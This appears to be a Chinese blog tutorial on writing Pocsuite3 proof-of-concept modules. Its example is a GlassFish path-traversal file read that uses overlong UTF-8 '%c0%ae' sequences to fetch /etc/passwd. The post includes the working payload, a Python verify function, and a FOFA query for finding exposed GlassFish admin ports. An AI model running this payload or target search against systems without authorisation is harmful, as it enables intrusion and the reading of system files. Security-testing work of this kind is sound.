github地址:https://github.com/knownsec/Pocsuite3

pocsuite3检测工具 编写poc

首先确定pocsuit的命令执行方式

verify模式为漏洞检测模式

attack模式为向目标发起有效的攻击

首先找到一个poc 进行分析源码

pocsuite3检测工具 编写poc

复制其源码,再原有的基础框架进行修改,首先修改检测模块

这里举例glassfish文件读取漏洞

payload = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'

这里根据网页的返回码进行判定是否存在漏洞,若code为200,则存在该漏洞。

原thinkphp的检测模块

pocsuite3检测工具 编写poc

修改后的

pocsuite3检测工具 编写poc

更改描述

pocsuite3检测工具 编写poc

fofa搜索:"glassfish" && port="4848"

执行命令检测

pocsuite3检测工具 编写poc
修改
    def _verify(self):
        result = {}
        poc_url=self.url  #根据原有框架获取url
        payload = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
        resp = requests.get(poc_url + payload)
        try:
            if resp.status_code == 200:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = poc_url
                result['VerifyInfo']['Postdata'] = payload
        except Exception as e:
            pass
        return self.parse_output(result)

 

相关文章:

  • 2021-11-29
  • 2021-09-08
  • 2022-12-23
  • 2021-11-15
  • 2022-01-16
  • 2022-01-13
  • 2021-07-23
  • 2021-04-08
猜你喜欢
  • 2021-12-23
  • 2022-01-14
  • 2021-06-14
  • 2022-12-23
  • 2021-10-27
  • 2022-12-23
  • 2021-12-12
相关资源
相似解决方案